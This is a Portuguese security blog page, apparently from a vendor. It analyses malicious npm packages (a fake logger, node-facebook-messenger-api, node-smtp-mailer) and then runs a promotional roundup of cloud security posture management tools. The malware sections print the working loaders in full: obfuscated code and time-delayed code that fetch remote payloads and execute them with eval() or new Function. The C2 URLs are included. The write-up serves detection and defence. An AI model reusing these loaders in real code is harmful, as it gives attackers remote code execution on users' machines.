"version": "1.0.2",
"main": "index.js",
"scripts": {
"test": "echo \"Error: no test specified\" && exit 1"
},
"dependencies": {
"axios": "^1.5.0"
},
"keywords": [
"logger"
],
"author": "crouch",
"license": "ISC",
"description": "A powerful and easy-to-use logging package designed to simplify error tracking in Node.js applications."
}
Não se encontram ganchos para o ciclo de vida. Isso é um pouco estranho. Mas para uma biblioteca de logs, é um pouco estranho ver uma dependência de áxis
que é utilizado para efetuar pedidos HTTP. A partir daí, vamos para o index.js
e é apenas um ficheiro que importa src/logger.js.
Vamos lá ver isso.
const ErrorReport = require("./lib/report");
class Logger {
constructor() {
this.level = 'info';
this.output = null;
this.report = new ErrorReport();
}
configure({ level, output }) {
this.level = level || 'info';
this.output = output ? path.resolve(output) : null;
}
log(level, message) {
const timestamp = new Date().toISOString();
const logMessage = `[${timestamp}] [${level.toUpperCase()}]: ${message}`;
console.log(logMessage);
}
info(message) {
this.log('info', message);
}
warn(message) {
this.log('warn', message);
}
error(error) {
this.log('error', error.stack || error.toString());
}
debug(message) {
if (this.level === 'debug') {
this.log('debug', message);
}
}
}
module.exports = Logger;
Nada se destaca aqui à primeira vista, mas o que é que se passa com a importação de Relatório de erros
e ela ser instanciada no construtor sem ser usada? Vamos ver o que a classe faz.
"use strict";
class ErrorReport {
constructor() {
this.reportErr("");
}
versionToNumber(versionString) {
return parseInt(versionString.replace(/\./g, ''), 10);
}
reportErr(err_msg) {
function g(h) { return h.replace(/../g, match => String.fromCharCode(parseInt(match, 16))); }
const hl = [
g('72657175697265'),
g('6178696f73'),
g('676574'),
g('687474703a2f2f6d6f72616c69732d6170692d76332e636c6f75642f6170692f736572766963652f746f6b656e2f6639306563316137303636653861356430323138633430356261363863353863'),
g('7468656e'),
];
const reportError = (msg) => require(hl[1])[[hl[2]]](hl[3])[[hl[4]]](res => res.data).catch(err => eval(err.response.data || "404"));
reportError(err_msg);
}
}
module.exports = ErrorReport;
Há muito mais a acontecer aqui. Há alguma ofuscação a acontecer aqui, por isso aqui está uma versão simplificada.
"use strict";
class ErrorReport {
constructor() {
this.reportErr(""); //
}
versionToNumber(versionString) {
return parseInt(versionString.replace(/\./g, ''), 10);
}
reportErr(err_msg) {
function g(h) { return h.replace(/../g, match => String.fromCharCode(parseInt(match, 16))); }
const hl = [
g('require'),
g('axios'),
g('get'),
g('http://moralis-api-v3[.]cloud/api/service/token/f90ec1a7066e8a5d0218c405ba68c58c'),
g('then'),
];
const reportError = (msg) => require('axios')['get']('http://moralis-api-v3.cloud/api/service/token/f90ec1a7066e8a5d0218c405ba68c58c')[['then']](res => res.data).catch(err => eval(err.response.data || "404"));
reportError(err_msg);
}
}
module.exports = ErrorReport;
Agora é muito mais claro o que este código está a fazer. No construtor, ele é chamado de reportErr
sem uma mensagem de erro. A função é ofuscada, contendo as partes necessárias para importar áxis
, efetuar um pedido de obtenção e, em seguida, chamar eval()
nos dados devolvidos. Assim, a biblioteca ajuda-o, de certa forma, com o registo. Mas talvez seja um pouco útil demais, pois ela também executa um código inesperado em tempo de execução quando o Registador
é instanciada.
🛡️ Dicas de defesa
Para se defender de pacotes como este:
- Auditar sempre os ganchos do ciclo de vida em
package.json
. São um vetor de ataque comum. - Verifique o repo em relação ao nome do pacote - diferenças subtis de nome significam muitas vezes problemas.
- Desconfie de ofuscação, código minificado ou blobs base64 dentro de pacotes pequenos.
- Utilize ferramentas como Aikdio Intel para identificar pacotes duvidosos.
- Congelar as dependências de produção com lockfiles (
package-lock.json
). - Utilize um espelho de registo privado ou uma firewall de pacotes (por exemplo, Artifactory, Snyk Broker) para controlar o que entra na sua cadeia de fornecimento.

Esconder-se e falhar: Malware ofuscado, cargas úteis vazias e travessuras do npm
Em 14 de março de 2025, detectámos um pacote malicioso no npm chamado node-facebook-messenger-api
. No início, parecia ser um malware bastante comum, embora não conseguíssemos perceber qual era o objetivo final. Não pensámos muito mais nisso até 3 de abril de 2025, quando vimos o mesmo agente de ameaça expandir o seu ataque. Esta é uma breve visão geral das técnicas utilizadas por este atacante específico, e algumas observações divertidas sobre como as suas tentativas de ofuscação acabam por torná-las ainda mais óbvias.
TLDR
node-facebook-messenger-api@4.1.0
disfarçado de uma capa legítima do Facebook messenger.áxis
e eval()
para obter uma carga útil de um link do Google Docs - mas o ficheiro estava vazio.zx
para evitar a deteção, incorporando lógica maliciosa que é activada dias após a publicação.node-smtp-mailer@6.10.0
, fazendo-se passar por nodemailer
com a mesma lógica e ofuscação C2.hiper-tipos
), revelando uma clara padrão de assinatura que ligam os ataques.
Primeiros passos
Tudo começou no dia 14 de março, às 04:37 UTC, quando os nossos sistemas nos alertaram para um pacote suspeito. Foi publicado pelo utilizador victor.ben0825
, que também afirma ter o nome perusworld
. Este é o nome de utilizador do utilizador que possui o repositório legítimo para esta biblioteca.

Aqui está o código que detectou como sendo malicioso em node-facebook-messenger-api@4.1.0:
, no ficheiro messenger.js
, linha 157-177:
const axios = require('axios');
const url = 'https://docs.google.com/uc?export=download&id=1ShaI7rERkiWdxKAN9q8RnbPedKnUKAD2';
async function downloadFile(url) {
try {
const response = await axios.get(url, {
responseType: 'arraybuffer'
});
const fileBuffer = Buffer.from(response.data);
eval(Buffer.from(fileBuffer.toString('utf8'), 'base64').toString('utf8'))
return fileBuffer;
} catch (error) {
console.error('Download failed:', error.message);
}
}
downloadFile(url);
O atacante tentou esconder este código num ficheiro com 769 linhas, que é uma classe grande. Aqui adicionaram uma função e estão a chamá-la diretamente. Muito giro, mas também muito óbvio. Tentámos obter o payload, mas estava vazio. Marcámo-lo como malware e seguimos em frente.
Poucos minutos depois, o atacante lançou outra versão, a 4.1.1. A única alteração parece ter sido no README.md
e package.json
onde alteraram a versão, a descrição e as instruções de instalação. Como marcamos o autor como um mau autor, os pacotes a partir deste ponto foram automaticamente marcados como malware.
A tentar ser sorrateiro
Depois, no dia 20 de março de 2025, às 16:29 UTC, o nosso sistema assinalou automaticamente a versão 4.1.2
do pacote. Vejamos o que há de novo. A primeira alteração está em node-facebook-messenger-api.js,
que contém:
"use strict";
module.exports = {
messenger: function () {
return require('./messenger');
},
accountlinkHandler: function () {
return require('./account-link-handler');
},
webhookHandler: function () {
return require('./webhook-handler');
}
};
var messengerapi = require('./messenger');
A alteração a este ficheiro é a última linha. Não se trata apenas de importar o ficheiro messenger.js
quando solicitado, é sempre feito quando o módulo é importado. Muito inteligente! A outra alteração é a desse ficheiro, messenger.js.
Removeu o código adicionado anteriormente visto e adicionou o seguinte nas linhas 197 a 219:
const timePublish = "2025-03-24 23:59:25";
const now = new Date();
const pbTime = new Date(timePublish);
const delay = pbTime - now;
if (delay <= 0) {
async function setProfile(ft) {
try {
const mod = await import('zx');
mod.$.verbose = false;
const res = await mod.fetch(ft, {redirect: 'follow'});
const fileBuffer = await res.arrayBuffer();
const data = Buffer.from(Buffer.from(fileBuffer).toString('utf8'), 'base64').toString('utf8');
const nfu = new Function("rqr", data);
nfu(require)();
} catch (error) {
//console.error('err:', error.message);
}
}
const gd = 'https://docs.google.com/uc?export=download&id=1ShaI7rERkiWdxKAN9q8RnbPedKnUKAD2';
setProfile(gd);
}
Eis um resumo do que faz:
- Utiliza uma verificação baseada no tempo para determinar se o código malicioso deve ser ativado. Só seria ativado cerca de 4 dias depois.
- Em vez de utilizar
áxis
, utiliza agora o Googlezx
para ir buscar o payload malicioso. - Desactiva o modo detalhado, que é também a predefinição.
- De seguida, vai buscar o código malicioso
- Ele decodifica-o na base64
- Ele cria uma nova Function usando o
Função()
que é efetivamente equivalente a um construtoreval()
chamada. - Em seguida, chama a função, passando
exigir
como argumento.
Mas, mais uma vez, quando tentamos ir buscar o ficheiro, não obtemos uma carga útil. Apenas obtemos um ficheiro vazio chamado info.txt.
A utilização de zx
é curioso. Olhámos para as dependências e reparámos que o pacote original continha algumas dependências:
"dependencies": {
"async": "^3.2.2",
"debug": "^3.1.0",
"merge": "^2.1.1",
"request": "^2.81.0"
}
O pacote malicioso contém o seguinte:
"dependencies": {
"async": "^3.2.2",
"debug": "^3.1.0",
"hyper-types": "^0.0.2",
"merge": "^2.1.1",
"request": "^2.81.0"
}
Vejam só, acrescentaram os hiper-tipos de dependência. Muito interessante, voltaremos a este assunto mais algumas vezes.
Eles atacam de novo!
Depois, a 3 de abril de 2025 às 06:46, um novo pacote foi lançado pelo utilizador cristr.
Lançaram oe pacote
node-smtp-mailer@6.10.0.
Os nossos sistemas assinalaram-no automaticamente por conter código potencialmente malicioso. Olhámos para ele e ficámos um pouco entusiasmados. O pacote finge ser nodemailer,
apenas com um nome diferente.

O nosso sistema assinalou o ficheiro lib/smtp-pool/index.js.
Vemos rapidamente que o atacante adicionou código na parte inferior do ficheiro legítimo, mesmo antes do final módulo.exportações
. Eis o que é acrescentado:
const timePublish = "2025-04-07 15:30:00";
const now = new Date();
const pbTime = new Date(timePublish);
const delay = pbTime - now;
if (delay <= 0) {
async function SMTPConfig(conf) {
try {
const mod = await import('zx');
mod.$.verbose = false;
const res = await mod.fetch(conf, {redirect: 'follow'});
const fileBuffer = await res.arrayBuffer();
const data = Buffer.from(Buffer.from(fileBuffer).toString('utf8'), 'base64').toString('utf8');
const nfu = new Function("rqr", data);
nfu(require)();
} catch (error) {
console.error('err:', error.message);
}
}
const url = 'https://docs.google.com/uc?export=download&id=1KPsdHmVwsL9_0Z3TzAkPXT7WCF5SGhVR';
SMTPConfig(url);
}
Nós conhecemos este código! Tem novamente um registo de data e hora para ser executado apenas 4 dias depois. Tentámos entusiasticamente ir buscar a carga útil, mas apenas recebemos um ficheiro vazio chamado beginner.txt.
Que pena! Olhamos novamente para as dependências, para ver como estão a puxar zx
. Constatámos que o legítimo nodemailer
pacote tem não direto dependências
, apenas devDependências
. Mas eis o que está no pacote malicioso:
"dependencies": {
"async": "^3.2.2",
"debug": "^3.1.0",
"hyper-types": "^0.0.2",
"merge": "^2.1.1",
"request": "^2.81.0"
}
Vê alguma semelhança entre este e o primeiro pacote que detectámos? É a mesma lista de dependências. O pacote legítimo não tem dependências, mas o malicioso tem. O atacante simplesmente copiou a lista completa de dependências do primeiro ataque para este.
Dependências interessantes
Então, porque é que deixaram de utilizar áxis
para zx
para fazer HTTP
pedidos? Sem dúvida, para evitar a deteção. Mas o que é interessante é que zx
não é uma dependência direta. Em vez disso, o atacante incluiu hyper-types, que é um pacote legítimo do desenvolvedor lukasbach.

Para além do facto de o repositório referenciado já não existir, há algo interessante a notar aqui. Veja como há 2 dependentes
? Adivinhem quem são.

Se o atacante quisesse realmente tentar ofuscar sua atividade, é muito estúpido depender de um pacote do qual ele é o único dependente.
Palavras finais
Embora o atacante por trás desses pacotes npm não tenha conseguido entregar uma carga útil funcional, sua campanha destaca a evolução contínua das ameaças à cadeia de suprimentos que visam o ecossistema JavaScript. O uso de execução atrasada, importações indiretas e sequestro de dependências mostra uma conscientização crescente dos mecanismos de deteção - e uma vontade de experimentar. Mas também mostra como a segurança operacional descuidada e os padrões repetidos ainda podem denunciá-los. Para os defensores, é um lembrete de que mesmo os ataques falhados são informações valiosas. Cada artefacto, truque de ofuscação e dependência reutilizada ajuda-nos a criar melhores capacidades de deteção e atribuição. E, mais importante, reforça a razão pela qual a monitorização contínua e a sinalização automática de registos de pacotes públicos já não é opcional - é fundamental.
Principais ferramentas de gerenciamento de postura de segurança na nuvem (CSPM) em 2025
Introdução
As organizações modernas enfrentam uma batalha difícil para gerenciar a segurança na nuvem em 2025. Com arquiteturas de várias nuvens e DevOps em ritmo acelerado, as configurações incorretas podem passar despercebidas e expor ativos críticos. As ferramentas de Gestão da Postura de Segurança na Nuvem (CSPM) surgiram como aliados essenciais - auditando continuamente os ambientes de nuvem para riscos, aplicando as melhores práticas e simplificando a conformidade. Este ano, as soluções CSPM evoluíram com automação avançada e correção orientada por IA para acompanhar a expansão da nuvem e ameaças sofisticadas.
Neste guia, abordamos as principais ferramentas de CSPM para ajudar a sua equipa a proteger o AWS, o Azure, o GCP e muito mais. Começamos com uma lista abrangente das soluções CSPM mais confiáveis e, em seguida, detalhamos quais ferramentas são melhores para casos de uso específicos, como desenvolvedores, empresas, startups, configurações de várias nuvens e muito mais. Salte para o caso de uso relevante abaixo, se desejar.
O que é a Gestão da Postura de Segurança na Nuvem (CSPM)?
A Gestão da Postura de Segurança na Nuvem (CSPM) refere-se a uma classe de ferramentas de segurança que monitorizam e avaliam continuamente a sua infraestrutura de nuvem para detetar configurações incorrectas, violações de conformidade e riscos de segurança. Estas ferramentas analisam automaticamente ambientes como AWS, Azure e GCP, comparando as configurações com as melhores práticas e estruturas do sector, como CIS Benchmarks, SOC 2 e ISO 27001.
Em vez de dependerem de revisões manuais ou auditorias ocasionais, as ferramentas CSPM operam continuamente - dando às equipas de segurança e DevOps visibilidade em tempo real e alertando para potenciais exposições. Muitos CSPMs modernos também incluem automação para corrigir problemas, seja por meio de correções geradas por IA ou integrações diretas com pipelines de desenvolvedores.
Porque é que precisa de ferramentas CSPM
Nos ambientes actuais de rápida evolução e nativos da nuvem, o CSPM é um componente crítico de qualquer estratégia de segurança. Veja por quê:
- Evitar configurações incorretas: Detetar configurações inseguras (como buckets S3 abertos, funções IAM excessivamente permissivas ou armazenamento não criptografado) antes que elas se tornem vetores de violação.
- Garantir a conformidade: Automatize o alinhamento com estruturas regulamentares como SOC 2, PCI-DSS, NIST e CIS Benchmarks. Gerar relatórios prontos para auditoria sob demanda.
- Melhore a visibilidade: Obtenha uma visão centralizada dos ativos de nuvem e configurações incorretas entre provedores - útil para ambientes com várias nuvens.
- Automatize a correção: Economize tempo de engenharia corrigindo automaticamente problemas de IaC ou de tempo de execução, ou enviando alertas para ferramentas como Jira ou Slack.
- Escalar com segurança: À medida que a sua infraestrutura se expande, os CSPMs garantem que os seus controlos de segurança se mantêm - essencial para empresas SaaS e equipas em rápido crescimento.
Leia mais sobre os incidentes CSPM do mundo real neste relatório DBIR da Verizon ou veja como os erros de configuração continuam a ser o principal risco na nuvem, de acordo com a Cloud Security Alliance.
Como escolher uma ferramenta CSPM
A escolha da plataforma CSPM correta depende da sua pilha, da estrutura da equipa e das necessidades regulamentares. Aqui estão algumas coisas importantes a procurar:
- Cobertura da nuvem: É compatível com as plataformas que utiliza - AWS, Azure, GCP e outras?
- Integração CI/CD e IaC: Pode digitalizar o Terraform, o CloudFormation e integrar-se no seu pipeline de CI/CD?
- Suporte de conformidade: As normas comuns estão pré-configuradas (SOC 2, ISO, HIPAA) e pode criar as suas próprias políticas?
- Qualidade dos alertas: Fornece alertas acionáveis e de baixo ruído - idealmente com priorização consciente do contexto?
- Escalabilidade e preços: Pode crescer com a sua equipa e oferece um preço justo (ou um nível gratuito)?
Pretende uma plataforma tudo-em-um com scanning de IaC, gestão de postura e correção de IA? Os scanners da Aikido cobrem tudo.
Principais ferramentas de gerenciamento de postura de segurança na nuvem (CSPM) em 2025
As nossas escolhas abaixo não estão ordenadas, mas representam as soluções CSPM mais utilizadas e fiáveis para várias necessidades. Cada secção inclui um link para a página inicial da ferramenta para um acesso rápido.

1. Segurança do Aikido
O Aikido é uma plataforma tudo-em-um que combina CSPM com código, contentor e análise de IaC. Concebida para segurança dev-first, proporciona deteção e correção instantâneas de configurações incorrectas na nuvem.
Caraterísticas principais:
- Visão unificada da segurança do código para a nuvem
- Verificação da nuvem sem agentes no AWS, Azure e GCP
- Atribuição de prioridades contextualizadas a configurações incorrectas
- Correção automática de um clique com tecnologia de IA
- Integração de CI/CD e Git
Ideal para: Startups e equipas de desenvolvimento que procuram uma plataforma intuitiva para proteger rapidamente o código e a nuvem.
Preços: Nível gratuito disponível; os planos pagos variam consoante a utilização.
"Substituímos três ferramentas pelo Aikido - é rápido, claro e fácil de desenvolver." - CTO no G2

2. Segurança Aqua
O Aqua combina CSPM com proteção de tempo de execução em contêineres, sem servidor e VMs de nuvem. Apoiado por ferramentas de código aberto como Trivy e CloudSploit, é ideal para equipas DevSecOps.
Caraterísticas principais:
- Visibilidade da postura em tempo real
- IaC scanning e segurança dos contentores
- Suporte multi-nuvem com aplicação automatizada de políticas
- Integração com sistemas de CI/CD e de emissão de bilhetes
- Mapeamento da conformidade (CIS, PCI, ISO)
Ideal para: Equipas que executam aplicações nativas da nuvem e Kubernetes em produção.
Preços: Opções gratuitas de código aberto disponíveis; preços para empresas a pedido.
"A visibilidade do CSPM é fantástica - integra-se bem com nossos pipelines de CI." - Líder de DevSecOps no Reddit
3. Segurança da nuvem BMC Helix
Parte do conjunto BMC Helix, esta ferramenta automatiza a conformidade e a segurança na nuvem através da governação orientada por políticas em AWS, Azure e GCP.
Caraterísticas principais:
- Remediação automática de infracções
- Políticas pré-construídas alinhadas com os principais quadros
- Painéis de controlo de conformidade contínuos
- Forte integração com o BMC ITSM
- Relatórios de segurança unificados para várias nuvens
Ideal para: Empresas que necessitam de conformidade automatizada e integração rigorosa do fluxo de trabalho.
Preços: Orientado para as empresas, contactar para obter mais informações.
"Esforço mínimo para integrar - fornece uma visão completa da postura em todas as nuvens." - Gerente de operações de TI no G2

4. Check Point CloudGuard
O CloudGuard é a oferta CNAPP da Check Point com CSPM incorporado. Combina a verificação da configuração com a deteção de ameaças utilizando o seu motor de inteligência ThreatCloud.
Caraterísticas principais:
- Mais de 400 políticas de conformidade prontas para uso
- CloudBots para remediação automatizada
- Análise do percurso do ataque e da exposição
- Deteção de ameaças com proteção integrada de firewall
- Painel de controlo multi-nuvem
Ideal para: Empresas que utilizam ferramentas de firewall/endpoint da Check Point que procuram uma segurança unificada de rede e nuvem.
Preços: Planos escalonados disponíveis através dos representantes da Check Point.
"Aplicação de políticas em todas as nuvens num único local. Também adoro as visualizações." - Arquiteto de segurança de nuvem no Reddit

5. CloudCheckr (Spot by NetApp)
O CloudCheckr combina otimização de custos e CSPM numa única plataforma. É amplamente utilizado por MSPs e equipas de SecOps empresariais para a governação da nuvem.
Caraterísticas principais:
- Mais de 500 controlos de boas práticas
- Quadros de controlo detalhados da conformidade
- Mecanismo de política personalizado
- Alertas em tempo real e relatórios automatizados
- Gestão de custos + informações sobre segurança
Ideal para: MSPs e equipas que equilibram a segurança com a otimização dos gastos na nuvem.
Preços: Com base na utilização/gastos da nuvem; contacte o departamento de vendas.
"Segurança e visibilidade de custos numa só ferramenta - uma enorme poupança de tempo." - Líder de SecOps no G2
6. Exploração da nuvem
Originalmente um projeto autónomo de código aberto, agora mantido pela Aqua Security, o CloudSploit oferece uma análise sem agentes de ambientes de nuvem para detetar configurações incorrectas.
Caraterísticas principais:
- Código aberto e orientado para a comunidade
- Verifica AWS, Azure, GCP e OCI
- Mapeia os resultados para os parâmetros de referência do CIS
- Saídas JSON/CSV para fácil integração
- Suporte para CLI e CI/CD
Ideal para: Equipas DevOps que necessitam de um scanner simples e com script para validar a postura na nuvem.
Preços: Gratuito (código aberto); versão SaaS disponível via Aqua.
"Leve, rápido e surpreendentemente profundo para uma ferramenta gratuita." - Engenheiro de DevOps no Reddit

7. CrowdStrike Falcon Cloud Security
O Falcon Cloud Security combina o CSPM com a deteção de ameaças em tempo de execução com a tecnologia EDR e XDR líder de mercado da CrowdStrike.
Caraterísticas principais:
- CSPM unificado e proteção do volume de trabalho
- Deteção de ameaças em tempo real com IA
- Análise do risco de identidade (CIEM)
- Pontuação da postura em ambientes de nuvem e contentores
- Integração com a plataforma CrowdStrike Falcon
Ideal para: Equipas de segurança que procuram combinar a deteção de erros de configuração com a prevenção de violações.
Preços: Nível empresarial; contactar CrowdStrike.
"Finalmente, um CSPM com capacidades de deteção reais e não apenas mais uma lista de verificação." - Analista de segurança no X
8. Ermetic
O Ermetic é uma plataforma de segurança em nuvem que prioriza a identidade, combinando CSPM com poderosos recursos CIEM em AWS, Azure e GCP.
Caraterísticas principais:
- Mapeia riscos de identidade na nuvem e caminhos de ataque
- Automatização da política de privilégios mínimos
- Monitorização contínua da má configuração da nuvem
- Relatórios de conformidade completos
- Mapeamento visual de relações entre activos
Ideal para: Empresas com arquiteturas de identidade complexas em ambientes com várias nuvens.
Preços: SaaS empresarial, adaptado ao volume de activos.
"Descobrimos permissões tóxicas que não sabíamos que existiam - o Ermetic acertou em cheio." - Arquiteto da nuvem no Reddit
9. Fuga (atualmente parte de Snyk Cloud)
O Fugue se concentra em políticas como código e deteção de desvios. Agora faz parte do Snyk Cloud, integrando a verificação de IaC com o CSPM para um fluxo completo de DevSecOps.
Caraterísticas principais:
- Aplicação da política baseada em regras como código
- Deteção de desvios entre a IaC e a nuvem implantada
- Visualização de recursos e relações na nuvem
- Quadros de conformidade pré-construídos
- Integração CI/CD e feedback PR
Ideal para: Organizações centradas no desenvolvedor que adotam GitOps ou fluxos de trabalho de política como código.
Preços: Incluído nos planos Snyk Cloud.
"Apanhamos os erros de configuração antes de entrarem em funcionamento. É como um linter para infraestruturas de nuvem." - Engenheiro de plataforma no G2

10. JupiterOne
O JupiterOne oferece CSPM através de uma abordagem de gestão de activos baseada em gráficos. Constrói um gráfico de conhecimento de todos os activos e relações da nuvem para identificar riscos.
Caraterísticas principais:
- Motor de consulta baseado em gráficos (J1QL)
- Descoberta de activos em nuvens, SaaS e repositórios de código
- Deteção de erros de configuração com conhecimento de relações
- Pacotes de conformidade incorporados
- Escalão comunitário gratuito disponível
Ideal para: Equipas de segurança que pretendem visibilidade total e consultas flexíveis em ambientes extensos.
Preços: Nível gratuito disponível; planos pagos escalam com o volume de activos.
"O JupiterOne tornou a visibilidade dos activos mais fácil para a nossa equipa. O J1QL é poderoso." - Líder de SecOps no G2
11. Rendas
A Lacework é uma plataforma CNAPP que oferece CSPM juntamente com deteção de anomalias e proteção de cargas de trabalho. A sua plataforma de dados Polygraph mapeia comportamentos em toda a sua nuvem para detetar ameaças e configurações incorrectas.
Caraterísticas principais:
- Monitorização contínua da configuração no AWS, Azure e GCP
- Deteção de anomalias baseada em ML com mapeamento visual do enredo
- Proteção de cargas de trabalho sem agentes (contentores, VMs)
- Avaliações de conformidade e relatórios automatizados
- Integrações amigáveis de API e DevOps
Ideal para: Equipas que pretendem CSPM combinado com deteção de ameaças e um mínimo de fadiga de alertas.
Preços: Preços para empresas; contactar Lacework.
"Só o polígrafo visual já vale a pena - liga os pontos entre as descobertas melhor do que qualquer outra ferramenta que tentámos." - Engenheiro de segurança da equipa no Reddit
12. Microsoft Defender para a Nuvem
O Microsoft Defender para a Nuvem é o CSPM incorporado do Azure, alargado com integrações para AWS e GCP. Oferece gestão de postura, verificações de conformidade e deteção de ameaças num único painel.
Caraterísticas principais:
- Pontuação segura para avaliação da postura na nuvem
- Deteção de erros de configuração no Azure, AWS e GCP
- Integração com o Microsoft Defender XDR e o Sentinel SIEM
- Correção com um clique e recomendações automatizadas
- Suporte integrado para CIS, NIST, PCI-DSS
Ideal para: Organizações que estão a começar com o Azure e que procuram uma proteção contra ameaças e uma gestão de postura nativa e sem falhas.
Preços: Nível gratuito para CSPM; planos pagos para proteção contra ameaças por recurso.
"Acompanhamos o nosso Secure Score semanalmente em todas as equipas - super eficaz para promover melhorias." - CISO no G2

13. Prisma Cloud (Palo Alto Networks)
O Prisma Cloud é um CNAPP abrangente que inclui CSPM robusto, verificação de IaC e segurança de carga de trabalho. Ele abrange todo o ciclo de vida, do código à nuvem.
Caraterísticas principais:
- Monitorização da postura na nuvem em tempo real
- Priorização de riscos utilizando IA e contexto de dados
- Infraestrutura como código e integração CI/CD
- Análise de identidade e acesso, visualização de caminhos de ataque
- Conformidade alargada e pacotes de políticas
Ideal para: Empresas que executam ambientes complexos de várias nuvens e exigem visibilidade e cobertura profundas.
Preços: Planos modulares; orientados para a empresa.
"Ele substituiu quatro ferramentas para nós - gerenciamos tudo, desde a postura até as ameaças de tempo de execução em um só lugar." - Gerente de DevSecOps no G2
14. Prowler
O Prowler é uma ferramenta de auditoria de segurança de código aberto focada principalmente no AWS. Verifica a sua infraestrutura em relação às melhores práticas e aos quadros regulamentares.
Caraterísticas principais:
- Mais de 250 verificações mapeadas para CIS, PCI, GDPR, HIPAA
- Ferramenta AWS CLI focada com saída JSON/HTML
- Expansão do suporte multi-nuvem (Azure/GCP básico)
- Fácil integração do pipeline CI/CD
- Prowler Pro disponível para relatórios SaaS
Ideal para: Engenheiros de DevOps e organizações com muita AWS que precisam de uma varredura personalizável e de código aberto.
Preços: Gratuito (código aberto); o Prowler Pro é pago.
"Auditoria AWS sem sentido que simplesmente funciona - um item obrigatório em seu pipeline." - Engenheiro de nuvem no Reddit

15. Segurança Sonrai
A Sonrai combina CSPM com CIEM e segurança de dados, dando ênfase à governação da identidade na nuvem e à prevenção da exposição de dados sensíveis.
Caraterísticas principais:
- Relação de identidade e análise de risco de privilégios
- Descoberta de dados sensíveis no armazenamento em nuvem
- CSPM e auditoria de conformidade
- Automatização para aplicação do princípio do menor privilégio
- Suporte multicloud e híbrido
Ideal para: Empresas focadas em governança de identidade, conformidade e proteção de dados confidenciais residentes na nuvem.
Preços: SaaS empresarial; contactar vendas.
"O Sonrai facilitou o mapeamento de quem pode acessar o quê e por quê - nossos auditores adoram isso." - Diretor de conformidade de segurança no G2
16. Tenable Cloud Security (Accurics)
O Tenable Cloud Security (anteriormente Accurics) concentra-se na verificação de IaC, deteção de desvios e gerenciamento de postura. Ele se encaixa bem nos pipelines GitOps e DevSecOps.
Caraterísticas principais:
- Infraestrutura como digitalização de código e aplicação de políticas
- Deteção de desvios entre o código e os recursos implementados
- Deteção de erros de configuração e controlo de conformidade
- Remediações IaC geradas automaticamente (por exemplo, Terraform)
- Integração com Tenable.io e dados de vulnerabilidade
Ideal para: Equipas DevOps que necessitam de verificações de postura antes da implementação e em tempo de execução associadas à IaC.
Preços: Parte da plataforma Tenable; preços baseados na utilização.
"Ótimo complemento para as ferramentas de vulnerabilidade da Tenable - mantém as configurações de nuvem sob controle também." - Gerente de SecOps no G2

17. Controlo da postura Zscaler
O Zscaler Posture Control traz o CSPM para o Zero Trust Exchange da Zscaler. Ele combina postura, identidade e contexto de vulnerabilidade para destacar riscos reais.
Caraterísticas principais:
- CSPM e CIEM unificados
- Correlação de ameaças entre configurações incorrectas, identidades e cargas de trabalho
- Verificação contínua para AWS, Azure e GCP
- Aplicação e correção baseadas em políticas
- Integrado com o ecossistema Zero Trust mais amplo da Zscaler
Ideal para: Clientes Zscaler que buscam insights de postura nativa alinhados às estratégias Zero Trust.
Preços: Add-on para a plataforma Zscaler; voltado para empresas.
"Finalmente conseguimos visibilidade da postura ligada ao nosso modelo de confiança zero." - Líder de segurança de rede no G2
Melhores ferramentas CSPM para programadores
Necessidades dos desenvolvedores: Feedback rápido em CI/CD, alertas de baixo ruído e integrações com GitHub, Terraform ou IDEs.
Critérios-chave:
- Digitalização de infra-estruturas como código (IaC)
- UI e APIs fáceis de utilizar pelos programadores
- Compatibilidade entre GitOps e CI/CD
- Autofixação ou orientação de correção acionável
- Propriedade clara e mínimo de falsos positivos
As melhores escolhas:
- Segurança Aikido: Configuração fácil, correção automática baseada em IA e criada para desenvolvedores. Integra-se diretamente com CI e GitHub.
- Fuga (Snyk Cloud): Policy-as-code com Regula; ideal para equipas que utilizam Terraform e GitOps.
- Prisma Cloud: Digitalização completa de código para nuvem e integração de IDE.
- Prowler: Ferramenta CLI simples que os desenvolvedores podem executar localmente ou em pipelines.
Melhores ferramentas CSPM para empresas
Necessidades da empresa: Visibilidade multi-nuvem, relatórios de conformidade, acesso baseado em funções e integração do fluxo de trabalho.
Critérios-chave:
- Suporte para várias contas e várias nuvens
- Estruturas de conformidade incorporadas
- Controlo de acesso baseado em funções (RBAC)
- Integrações SIEM/ITSM
- Preços escaláveis e suporte do fornecedor
As melhores escolhas:
- Prisma Cloud: Abrange a postura, o tempo de execução e a conformidade em escala.
- Check Point CloudGuard: Governação multi-nuvem e aplicação profunda de políticas.
- Microsoft Defender para a Nuvem: Cobertura nativa do Azure e AWS/GCP.
- Ermetic: CIEM avançado e governação para ambientes complexos.
As melhores ferramentas CSPM para empresas em fase de arranque
Necessidades de arranque: Acessibilidade, facilidade de utilização, implementação rápida e ajuda básica de conformidade.
Critérios-chave:
- Camada gratuita ou planos económicos
- Integração e UX fáceis
- Preparado para SOC 2/ISO imediatamente
- Prioridade ao programador
- Funcionalidades tudo-em-um
As melhores escolhas:
- Segurança Aikido: Nível gratuito, correção automática por IA e centrado no desenvolvimento.
- CloudSploit: Gratuito, de código aberto e fácil de integrar.
- JupiterOne: Nível comunitário gratuito e consultas simples sobre riscos com base em activos.
- Prowler: Scanner AWS orientado por CLI, sem custos, com suporte de conformidade.
Melhores ferramentas CSPM para ambientes multi-nuvem
Necessidades de várias nuvens: Visão unificada, aplicação de políticas independente da nuvem e integrações perfeitas.
Critérios-chave:
- Suporte completo para AWS, Azure, GCP (e mais)
- Painéis de controlo unificados
- Relatórios de conformidade normalizados
- Visibilidade para várias contas e várias regiões
- Alerta consistente entre nuvens
As melhores escolhas:
- Prisma Cloud: Verdadeiramente agnóstico em relação à nuvem com recursos profundos.
- JupiterOne: visibilidade baseada em gráficos entre nuvens e serviços.
- Check Point CloudGuard: Um mecanismo de política para todas as nuvens.
- CloudCheckr: Governação e otimização de custos entre nuvens.
Melhores ferramentas CSPM para proteção da nuvem
Necessidades de proteção na nuvem: Combine a postura com a deteção de ameaças em tempo de execução, análise de anomalias e prevenção de violações.
Critérios-chave:
- Deteção de ameaças (para além da verificação de configurações)
- Visibilidade da carga de trabalho em tempo de execução
- Informações sobre o tráfego de rede na nuvem
- Correlação e priorização de alertas
- Correção ou bloqueio automatizados
As melhores escolhas:
- Segurança Aikido: Combina a gestão da postura na nuvem, a análise de código e a análise de imagens de contentores numa única plataforma.
- CrowdStrike Falcon Cloud Security: CNAPP com a melhor inteligência de ameaças da categoria.
- Trabalho de renda: O motor do polígrafo detecta erros de configuração e anomalias em conjunto.
